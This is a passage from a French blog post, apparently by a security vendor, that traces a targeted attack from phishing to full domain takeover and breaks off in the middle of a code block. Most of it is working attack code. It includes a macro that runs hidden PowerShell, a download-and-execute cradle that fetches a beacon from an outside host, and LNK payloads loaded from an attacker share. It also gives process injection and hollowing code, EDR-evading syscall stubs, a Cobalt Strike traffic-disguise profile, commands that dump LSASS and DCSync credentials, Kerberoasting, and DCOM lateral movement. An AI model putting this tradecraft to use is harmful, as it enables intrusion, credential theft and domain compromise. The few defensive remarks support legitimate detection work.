<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-1--établissement-de-la-tête-de-pont">Étape 1 : Établissement de la Tête de Pont<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-1--%C3%A9tablissement-de-la-t%C3%AAte-de-pont" class="hash-link" aria-label="Direct link to Étape 1 : Établissement de la Tête de Pont" title="Direct link to Étape 1 : Établissement de la Tête de Pont" translate="no">​</a></h3>
<p><strong>Accès initial par macro (toujours courant dans les attaques ciblées) :</strong></p>
<div class="language-vba codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-vba codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">' Intégré dans .doc / .xlsm livré par phishing</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Sub AutoOpen()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Dim wsh As Object</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Set wsh = CreateObject("WScript.Shell")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ' Télécharger et exécuter en mémoire via PowerShell</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    wsh.Run "powershell -nop -w hidden -enc " &amp; Base64EncodedPayload, 0, False</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">End Sub</span><br></span></code></pre></div></div>
<p>Le payload décodé ressemble typiquement à :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Décodé : téléchargement et chargement réflexif d'une balise</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$data = (New-Object System.Net.WebClient).DownloadData('https://cdn-update[.]com/update.bin')</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$asm = [System.Reflection.Assembly]::Load($data)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$asm.EntryPoint.Invoke($null, $null)</span><br></span></code></pre></div></div>
<p>Rien ne touche le disque. La balise est chargée directement dans l'espace mémoire du processus PowerShell.</p>
<p><strong>Livraison ISO/LNK (contourne le Mark-of-the-Web) :</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Champ cible du LNK :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\cmd.exe /c start \\attacker-host\share\payload.dll</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># OU via GLOBALROOT UNC :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\cmd.exe /c start \\?\GLOBALROOT\Device\Mup\attacker-host\share\payload.dll</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># OU plus simplement :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">C:\Windows\System32\rundll32.exe payload.dll,EntryPoint</span><br></span></code></pre></div></div>
<p>Les fichiers ISO montés par double-clic sous Windows 10/11 n'héritent pas du MOTW du conteneur  SmartScreen et le Gestionnaire de pièces jointes ne signalent pas le contenu.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-2--injection-de-processus--sortir-du-processus-initial">Étape 2 : Injection de Processus  Sortir du Processus Initial<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-2--injection-de-processus--sortir-du-processus-initial" class="hash-link" aria-label="Direct link to Étape 2 : Injection de Processus  Sortir du Processus Initial" title="Direct link to Étape 2 : Injection de Processus  Sortir du Processus Initial" translate="no">​</a></h3>
<p>Rester dans <code>WINWORD.EXE</code> ou <code>powershell.exe</code> est bruyant. La première tâche après l'exécution du payload est la migration vers un processus moins suspect.</p>
<p><strong>Injection CreateRemoteThread classique (bruyante) :</strong></p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">HANDLE hProc </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">OpenProcess</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">PROCESS_ALL_ACCESS</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> FALSE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> targetPID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">LPVOID mem </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">VirtualAllocEx</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">hProc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcodeLen</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                             MEM_COMMIT </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> MEM_RESERVE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> PAGE_EXECUTE_READWRITE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">WriteProcessMemory</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">hProc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mem</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcode</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcodeLen</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">HANDLE hThread </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">CreateRemoteThread</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">hProc</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                                    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">LPTHREAD_START_ROUTINE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">mem</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><br></span></code></pre></div></div>
<p>Génère l'Event ID Sysmon 8 (CreateRemoteThread)  détectable si vous le collectez.</p>
<p><strong>Process hollowing (plus évasif) :</strong></p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">STARTUPINFO si </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">PROCESS_INFORMATION pi </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">CreateProcess</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">"C:\\Windows\\System32\\svchost.exe"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">              FALSE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> CREATE_SUSPENDED</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&amp;</span><span class="token plain">si</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&amp;</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">// Démapper l'image originale, écrire le shellcode à la même adresse de base</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">NtUnmapViewOfSection</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hProcess</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">PVOID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">imageBase</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">VirtualAllocEx</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hProcess</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">PVOID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">imageBase</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcodeLen</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">               MEM_COMMIT </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> MEM_RESERVE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> PAGE_EXECUTE_READWRITE</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">WriteProcessMemory</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hProcess</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">PVOID</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain">imageBase</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcode</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> shellcodeLen</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token constant" style="color:hsl(212, 92%, 35%)">NULL</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">SetThreadContext</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hThread</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&amp;</span><span class="token plain">ctx</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token function" style="color:hsl(256, 54%, 50%)">ResumeThread</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">pi</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hThread</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic">// Le processus résultant apparaît comme svchost.exe dans le Gestionnaire des tâches</span><br></span></code></pre></div></div>
<p><strong>Syscalls directs (contourne les hooks user-mode) :</strong></p>
<div class="language-asm codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-asm codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">; Stub syscall direct pour NtAllocateVirtualMemory</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">NtAllocateVirtualMemory:</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    mov r10, rcx</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    mov eax, 18h        ; numéro de syscall  varie selon la version Windows</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    syscall</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ret</span><br></span></code></pre></div></div>
<p>Des outils comme <strong>SysWhispers2</strong> et <strong>SysWhispers3</strong> automatisent la génération de ces stubs. Résultat : injection sans aucun hook user-mode touché, aucune interception EDR possible.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-3--communication-c2--à-quoi-ressemble-réellement-la-balise">Étape 3 : Communication C2  À Quoi Ressemble Réellement la Balise<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-3--communication-c2--%C3%A0-quoi-ressemble-r%C3%A9ellement-la-balise" class="hash-link" aria-label="Direct link to Étape 3 : Communication C2  À Quoi Ressemble Réellement la Balise" title="Direct link to Étape 3 : Communication C2  À Quoi Ressemble Réellement la Balise" translate="no">​</a></h3>
<p>Un profil Cobalt Strike malleable qui imite le trafic Amazon :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">http-get {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    client {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        header "Accept" "*/*";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        header "Host" "www.amazon.com";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        metadata {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            base64url;</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            prepend "session-token=";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            prepend "skin=noskin;";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            header "Cookie";</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>Le bloc metadata encode les données de check-in de la balise dans un en-tête Cookie réaliste. La détection au niveau réseau basée sur l'inspection des URI ou des en-têtes ne capturera pas ceci sans analyse comportementale.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-4--reconnaissance--bloodhound-à-pleine-vitesse">Étape 4 : Reconnaissance  BloodHound à Pleine Vitesse<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-4--reconnaissance--bloodhound-%C3%A0-pleine-vitesse" class="hash-link" aria-label="Direct link to Étape 4 : Reconnaissance  BloodHound à Pleine Vitesse" title="Direct link to Étape 4 : Reconnaissance  BloodHound à Pleine Vitesse" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Console Cobalt Strike :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">execute-assembly /opt/tools/SharpHound.exe -c All --zipfilename loot.zip</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ce que cela génère sur le réseau en 4 minutes :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Requêtes LDAP vers le DC (port 389/636) :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- objectClass=computer, user, group, organizationalUnit</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- nTSecurityDescriptor      (collecte ACL  la plus bruyante)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- servicePrincipalName      (comptes Kerberoastables)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Volume total : 200-2000 requêtes en 4 minutes</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Pour 1000 utilisateurs : 3-8x le taux LDAP normal depuis les postes</span><br></span></code></pre></div></div>
<p><strong>Lecture de la sortie BloodHound  ce que voit l'attaquant :</strong></p>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-5--extraction-didentifiants">Étape 5 : Extraction d'Identifiants<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-5--extraction-didentifiants" class="hash-link" aria-label="Direct link to Étape 5 : Extraction d'Identifiants" title="Direct link to Étape 5 : Extraction d'Identifiants" translate="no">​</a></h3>
<p><strong>Méthode 1 : LSASS via comsvcs.dll (aucun outil externe)</strong></p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">tasklist /fi "imagename eq lsass.exe"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 612 C:\Windows\Temp\lsass.dmp full</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Analyser hors ligne :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">sekurlsa::minidump lsass.dmp</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">sekurlsa::logonpasswords</span><br></span></code></pre></div></div>
<p>Utilise une DLL Microsoft signée. Aucun binaire malveillant écrit sur le disque.</p>
<p><strong>Méthode 2 : DCSync (nécessite Replicating Directory Changes All)</strong></p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">lsadump::dcsync /domain:corp.local /user:krbtgt</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Sortie :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Credentials:</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c</span><br></span></code></pre></div></div>
<p>Avec le hash <code>krbtgt</code>, l'attaquant peut forger des tickets Kerberos pour n'importe quel compte du domaine  un <strong>Golden Ticket</strong>. Le domaine est entièrement compromis. Réinitialiser <code>krbtgt</code> une seule fois est insuffisant (doit être réinitialisé deux fois, à 10 heures d'intervalle, pour invalider tous les tickets forgés).</p>
<p><strong>Méthode 3 : Kerberoasting (hors ligne, pas d'accès LSASS nécessaire)</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">hashcat </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-m</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">13100</span><span class="token plain"> kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        --rules-file /usr/share/hashcat/rules/best64.rule</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Contre des mots de passe faibles : crackés en secondes à minutes</span><br></span></code></pre></div></div>
<p>La défense est triviale : les mots de passe des comptes de service doivent être des chaînes aléatoires de 30+ caractères, gérées via des Comptes de Service Gérés de Groupe (gMSA).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étape-6--mouvement-latéral--dcom-en-détail">Étape 6 : Mouvement Latéral  DCOM en Détail<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A9tape-6--mouvement-lat%C3%A9ral--dcom-en-d%C3%A9tail" class="hash-link" aria-label="Direct link to Étape 6 : Mouvement Latéral  DCOM en Détail" title="Direct link to Étape 6 : Mouvement Latéral  DCOM en Détail" translate="no">​</a></h3>
<p><strong>Objet MMC20.Application :</strong></p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$com = [System.Activator]::CreateInstance(</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    [System.Type]::GetTypeFromProgID("MMC20.Application", "VICTIME-HOST")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$com.Document.ActiveView.ExecuteShellCommand(</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "cmd.exe", $null,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "/c powershell -nop -w hidden -enc [BASE64_BALISE]",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    "7"</span><br></span><span 